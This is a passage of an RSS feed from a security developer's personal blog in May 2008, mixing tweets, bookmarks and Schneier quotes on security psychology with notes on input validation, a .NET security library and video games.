src="http://www.profilactic.com/images/favicons/default.gif" align="absMiddle"  /&gt; &lt;a href="http://www.google.com/notebook/public/01652460089791870132/BDQaSQgoQx-Ll5Zgj#NDQaSQgoQq8HUzqIj"&gt;One solution is to stoke fear. Fear is a primal emotion, far older than our...&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;One solution is to stoke fear. Fear is a primal emotion, far older than our ability to calculate trade-offs. And when people are truly scared, they're willing to do almost anything to make that feeling go away; lots of other psychological research supports that. Any burglar alarm salesman will tell you that people buy only after they've been robbed, or after one of their neighbors has been robbed. And the fears stoked by 9/11, and the politics surrounding 9/11, have fueled an entire industry devoted to counterterrorism. When emotion takes over like that, people are much less likely to think rationally. &lt;/p&gt;  &lt;p&gt;Though effective, fear mongering is not very ethical. The better solution is not to sell security directly, but to include it as part of a more general product or service. Your car comes with safety and security features built in; they're not sold separately. Same with your house. And it should be the same with computers and networks. Vendors need to build security into the products and services that customers actually want. CIOs should include security as an integral part of everything they budget for. Security shouldn't be a separate policy for employees to follow but part of overall IT policy. &lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Shared Notes" src="http://www.profilactic.com/images/favicons/default.gif" align="absMiddle"  /&gt; &lt;a href="http://www.google.com/notebook/public/01652460089791870132/BDQaSQgoQx-Ll5Zgj#NDSMKQgoQua3RzqIj"&gt;Security sellers know this, even if they don't understand why, and are contin...&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Security sellers know this, even if they don't understand why, and are continually trying to frame their products in positive results. That's why you see slogans with the basic message, &amp;quot;We take care of security so you can focus on your business,&amp;quot; or carefully crafted ROI models that demonstrate how profitable a security purchase can be. But these never seem to work. Security is fundamentally a negative sell. &lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Shared Notes" src="http://www.profilactic.com/images/favicons/default.gif" align="absMiddle"  /&gt; &lt;a href="http://www.google.com/notebook/public/01652460089791870132/BDQaSQgoQx-Ll5Zgj#NDQGMQgoQkNzGzqIj"&gt;But Kahneman's and Tversky's experiments contradicted Utility Theory. When fa...&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;But Kahneman's and Tversky's experiments contradicted Utility Theory. When faced with a gain, about 85 percent of people chose the sure smaller gain over the risky larger gain. But when faced with a loss, about 70 percent chose the risky larger loss over the sure smaller loss.   &lt;br /&gt;...    &lt;br /&gt;Lions, for example, chase young or wounded wildebeests because the investment needed to kill them is lower. Mature and healthy prey would probably be more nutritious, but there's a risk of missing lunch entirely if it gets away.&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820784385"&gt;9:58 AM&lt;/a&gt;: fmavituna: reading - &lt;a href="http://tinyurl.com/6kyz56"&gt;http://tinyurl.com/6kyz56&lt;/a&gt; , Schneier is so much into psychology-security relation nowadays.    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820772749"&gt;9:32 AM&lt;/a&gt;: fmavituna: trying to finish his todo list in the office&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.schneier.com/blog/archives/2008/05/how_to_sell_sec.html"&gt;How to Sell Security&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;26 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820499309"&gt;11:32 PM&lt;/a&gt;: fmavituna: playing audio-surf, such a brilliant idea ! - &lt;a href="http://www.audio-surf.com/"&gt;http://www.audio-surf.com/&lt;/a&gt;    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820281485"&gt;4:30 PM&lt;/a&gt;: fmavituna: browsing gametap     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820240782"&gt;3:24 PM&lt;/a&gt;: fmavituna: what a day!, it's pouring outside, MGS4 has not out yet, and Iron Man tickets sold out...     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820144627"&gt;12:38 PM&lt;/a&gt;: fmavituna: going to Harrow to watch Iron Man and buy MSG4, Bank Holiday FTW!     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820141813"&gt;12:32 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; :D yok ya bu aralar elimde bir suru proje var ama belki onlar bittikten sonra, &lt;a href="http://code.google.com/p/netbouncer/"&gt;http://code.google.com/p/netbouncer/&lt;/a&gt; u bitireyim de    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820119210"&gt;11:44 AM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; Guzelmis aslinda ama WP, Bence yapilmasi gereken adam gibi template sistemi destekleyen bir RSS reader yazip siteye entegere etmek     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/820117845"&gt;11:41 AM&lt;/a&gt;: fmavituna: finished penny arcade adventures, that was short! &lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hKjI_CfuD_O6J6pEHHsNlmi7Dro/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hKjI_CfuD_O6J6pEHHsNlmi7Dro/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/hKjI_CfuD_O6J6pEHHsNlmi7Dro/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hKjI_CfuD_O6J6pEHHsNlmi7Dro/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=2LfTyiMk"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=raA0D5rj"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=vrrd0Qbs"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=CYepqigu"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=CYepqigu" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/aKgtJLcUtY4" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/26-27-05-08-trials-2-ve-penny-arcade-adventures-oku/</guid>
  <comments>http://ferruh.mavituna.com/26-27-05-08-trials-2-ve-penny-arcade-adventures-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/26-27-05-08-trials-2-ve-penny-arcade-adventures-oku/</feedburner:origLink></item>
<item>
  <title>22-25.05.2005 - Age of Conan, Input Validation</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/xGYV4EOdLAE/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 26 May 2008 10:45:01 +0300</pubDate>
  <description>&lt;p&gt;&lt;strong&gt;Ne Yapıyorum&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.hotheadgames.com/pafaq.php"&gt;Penny Arcade Adventures&lt;/a&gt; ve &lt;a href="http://ferruh.mavituna.com/iki-beklenen-mmorpg-oku/"&gt;Age of Conan&lt;/a&gt; oynuyorum. Yeni bir .NET projesi olan NetBouncer &amp;#252;zerinde &amp;#231;alışıyorum. Bu bir g&amp;#252;venlik k&amp;#252;t&amp;#252;phanesi, inşallah bir ka&amp;#231; haftaya kadar yayınlayanabilecek hale gelecek. &lt;a href="http://ferruh.mavituna.com/yeni-web-guvenligi-kitaplari-oku/"&gt;Web Application Hackers Handbo&lt;/a&gt;ok' u okuyorum. %75' ine falan geldim.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;25 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/819716653"&gt;8:21 PM&lt;/a&gt;: fmavituna: penny arcade's game - not brilliant but it's ok - &lt;a href="http://www.hotheadgames.com/pa.php"&gt;http://www.hotheadgames.com/pa.php&lt;/a&gt;     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/819701754"&gt;7:45 PM&lt;/a&gt;: fmavituna: myspace for developers - www.ohloh.net - brilliant though&lt;/p&gt;  &lt;p&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://code.google.com/p/owaspantisamy/downloads/list"&gt;owaspantisamy - Google Code&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://forums.asp.net/t/1125149.aspx"&gt;Modifying HTTPContext variables ASP.NET Forums&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;24 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/819203251"&gt;9:51 PM&lt;/a&gt;: fmavituna: age of conan is another good example of MMORPG is dead and gonna stay that way, I think future is only bright for games like Guild Wars. &lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://osvdb.org/blog/?p=245"&gt;Top vulnerability researcher?&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;23 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/818559629"&gt;7:16 PM&lt;/a&gt;: fmavituna: installing age of conan     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/818213550"&gt;11:37 AM&lt;/a&gt;: fmavituna: yeah finally figured out the name of this movie, adding to my que in lovefilm. - Poltergeist III     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/818137539"&gt;9:03 AM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; bende noel baba yi gordum, simdi de ruya tabirlerinde ruyada santa gormek diye ariyorum :p&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.dotnetkicks.com/csharp/Microsoft_Source_Analysis_for_C_Released"&gt;Microsoft Source Analysis for C# Released&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;22 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/817774974"&gt;9:32 PM&lt;/a&gt;: fmavituna: Brilliant piece of tool from MS for better TDD, it's a shame that I use MbUnit - &lt;a href="http://research.microsoft.com/pex/default.aspx"&gt;http://research.microsoft.com/pex/default.aspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Shared Notes" src="http://www.profilactic.com/images/favicons/default.gif" align="absMiddle"  /&gt; &lt;a href="http://www.google.com/notebook/public/01652460089791870132/BDQaSQgoQx-Ll5Zgj#NDQ2NQgoQsJfiiKEj"&gt;OWASP Validation Library url&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/817464722"&gt;2:37 PM&lt;/a&gt;: fmavituna: nowadays focused on most effective input/output validation process     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/817362317"&gt;12:21 PM&lt;/a&gt;: fmavituna: new PSN update, Bourne and Iron Man demos &lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Shared Notes" src="http://www.profilactic.com/images/favicons/default.gif" align="absMiddle"  /&gt; &lt;a href="http://www.google.com/notebook/public/01652460089791870132/BDQaSQgoQx-Ll5Zgj#NDQ2NQgoQhqTK_qAj"&gt;Prof. Dr. Şahin Albayrak; T&amp;#252;rkiye zor bir ortam. Burada herkes herşeyi biliyo...&lt;/a&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;b&gt;Prof. Dr. Şahin Albayrak; &lt;/b&gt;T&amp;#252;rkiye zor bir ortam. Burada herkes herşeyi biliyor. Asıl sorun bu.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/817239708"&gt;8:24 AM&lt;/a&gt;: fmavituna: Another great racing game from codemasters - GRID - &lt;a href="http://www.racedrivergrid.com/"&gt;http://www.racedrivergrid.com/&lt;/a&gt; , PS3 demo is out give it a host, real fun.&lt;/p&gt;  &lt;p&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://msdn.microsoft.com/en-us/library/wcxyzt4d.aspx"&gt;Activator.CreateInstance Method (Type, Object[]) (System)&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.codeproject.com/KB/dotnet/mysteriesofconfiguration2.aspx?display=Print"&gt;CodeProject: Decoding the Mysteries of .NET 2.0 Configuration. Free source code and programming help&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://nayyeri.net/blog/Simple-Validators-in-System-Configuration"&gt;Simple Validators in System.Configuration : Keyvan Nayyeri&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://research.microsoft.com/pex/default.aspx"&gt;Pex - Automated Exploratory Testing for .Net&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://msdn.microsoft.com/en-us/magazine/cc163591.aspx"&gt;Configure This: Parameterize Your Apps Using XML Configuration In The .NET Framework 2.0&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.codeproject.com/KB/dotnet/ConfigAndProviderModel.aspx"&gt;CodeProject: .NET 2.0 Configuration and Provider Model. Free source code and programming help&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://feeds.feedburner.com/%7Er/nahnu/%7E3/296150748/"&gt;Kapanmayan blog istiyoruz&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://rss.bildirgec.org/%7Er/bildirgec/%7E3/295720516/ucretsiz-proje-yonetim-sistemleri-karsilastirmasi"&gt;&amp;#252;cretsiz proje y&amp;#246;netim sistemleri karşılaştırması&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/DZyg0C0GHsdfTYCBTMDAINkDMd0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/DZyg0C0GHsdfTYCBTMDAINkDMd0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/DZyg0C0GHsdfTYCBTMDAINkDMd0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/DZyg0C0GHsdfTYCBTMDAINkDMd0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ZDLIpIZD"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=WmqTHURz"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Id7bAZQS"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=fBhbmrZS"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=fBhbmrZS" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/xGYV4EOdLAE" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/22-25-05-2005-age-of-conan-input-validation-oku/</guid>
  <comments>http://ferruh.mavituna.com/22-25-05-2005-age-of-conan-input-validation-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/22-25-05-2005-age-of-conan-input-validation-oku/</feedburner:origLink></item>
<item>
  <title>Günlük Maceralar - 18-21.05.08</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/fpEgbmXPDDU/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Çar, 21 May 2008 20:15:54 +0300</pubDate>
  <description>&lt;p&gt;&lt;strong&gt;21 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Shared Notes" src="http://www.profilactic.com/images/favicons/default.gif" align="absMiddle"  /&gt; &lt;a href="http://www.google.com/notebook/public/01652460089791870132/BDQaSQgoQx-Ll5Zgj#NDQxVQwoQqMu24aAj"&gt;Most programming environments are meta-engineered to make typical software ea...&lt;/a&gt;    &lt;br /&gt;Most programming environments are meta-engineered to make typical software easier to write. They should instead be meta-engineered to make incorrect software harder to write. &lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/816686488"&gt;3:46 PM&lt;/a&gt;: fmavituna: FF 3 extension compatibility trick, easier then modifying xpi packages manually &lt;a href="http://tech.slashdot.org/tech/08/05/21/015245.shtml"&gt;http://tech.slashdot.org/tech/08/05/21/015245.shtml&lt;/a&gt;    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/816680535"&gt;3:39 PM&lt;/a&gt;: fmavituna: This is great : Zero Punctuation series - &lt;a href="http://tinyurl.com/6by8vf"&gt;http://tinyurl.com/6by8vf&lt;/a&gt;    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/816645974"&gt;2:54 PM&lt;/a&gt;: fmavituna: wow, &lt;a href="http://tinyurl.com/6zr5lb"&gt;http://tinyurl.com/6zr5lb&lt;/a&gt; , this is the curse of working on security, you are being paranoid.    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/816570504"&gt;1:27 PM&lt;/a&gt;: fmavituna: got my copy of web app. hackers handbook, good reference book.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/816570143"&gt;1:27 PM&lt;/a&gt;: fmavituna: received age of conan shipping confirmation, looking forward to play     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/816523975"&gt;12:22 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/tehlike"&gt;@tehlike&lt;/a&gt; password cracking in virtual machine got so much overhead really, I used another dedicated native box for this.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/816452192"&gt;10:22 AM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/sonereker"&gt;@sonereker&lt;/a&gt; kesinlikle, ben killanmaya baslamistim acaba sorun sadece ben de mi diye     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/816451924"&gt;10:22 AM&lt;/a&gt;: fmavituna: why there is no MPI version of JTR for windows! I knew I should ditch windows ages ago!     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/816392436"&gt;8:23 AM&lt;/a&gt;: fmavituna: google reader keep getting down this morning &lt;/p&gt;  &lt;p&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://cr.yp.to/papers.html"&gt;Qmail Security&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://duartes.org/gustavo/blog/post/of-aviation-crashes-and-software-bugs"&gt;Of Aviation Crashes and Software Bugs&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.schneier.com/blog/archives/2008/05/spying_on_compu.html"&gt;Spying on Computer Monitors Off Reflective Objects&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.nma-fallout.com/article.php?id=42473"&gt;Krai Mira: Work in Progress MMO&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.webguvenligi.org/?p=120"&gt;Bir OWASP SoC&amp;#8217;08 Projesi - SQLiBENCH&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.nma-fallout.com/article.php?id=42473"&gt;Krai Mira: Work in Progress MMO&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;20 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/815761400"&gt;1:52 PM&lt;/a&gt;: fmavituna: the question is when are we gonna stop caring about stuff and start saying &amp;quot;fuck it&amp;quot;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.lingoes.net/en/index.html"&gt;Lingoes -- free dictionary and full text translation software&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.thinkgeek.com/tshirts/generic/2826"&gt;ThinkGeek :: you are dumb v1.0&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.thinkgeek.com/tshirts/gaming/9d0b"&gt;ThinkGeek :: The Dice Are Trying to Kill Me&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.thinkgeek.com/tshirts/generic/894a"&gt;ThinkGeek :: Prefectionist&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.thinkgeek.com/tshirts/frustrations/388b"&gt;ThinkGeek :: No, I will not fix your computer&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.thinkgeek.com/tshirts/popculture/78c6"&gt;ThinkGeek :: I see dead pixels.&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.styleislam.com"&gt;STYLEISLAM.COM&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://blog.lifeoverip.net/index.php/2008/05/20/babylon-alternatifi-ucretsiz-sozluk-programi/"&gt;Babylon Alternatifi ucretsiz sozluk programi&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://feeds.feedburner.com/%7Er/zdnet/security/%7E3/294342794/"&gt;DoS Attacks Using SQL Wildcards Revealed&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.thespanner.co.uk/2008/05/20/210/"&gt;Firefox applet fun&lt;/a&gt;    &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://jeremiahgrossman.blogspot.com/2008/05/academia-vs-professional-researchers.html"&gt;Academia vs. professional researchers&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;19 May 2008&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/815166604"&gt;6:51 PM&lt;/a&gt;: fmavituna: The Big Issue: Shall I get Fallout 3 for PC or PS3 ?     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/814866937"&gt;12:28 PM&lt;/a&gt;: fmavituna: if you are a developer or a security guy, then you might wanna read this : &lt;a href="http://tinyurl.com/6b7q6g"&gt;http://tinyurl.com/6b7q6g&lt;/a&gt;    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/814819246"&gt;11:00 AM&lt;/a&gt;: fmavituna: weird, FF removed yellow background from SSL URLs and and it's not clear if URL is over SSL. Why? why? why?     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/814802886"&gt;10:25 AM&lt;/a&gt;: fmavituna: this is awesome, bionic commando 2d NG - &lt;a href="http://www.gametrailers.com/player/29799.html"&gt;http://www.gametrailers.com/player/29799.html&lt;/a&gt;    &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  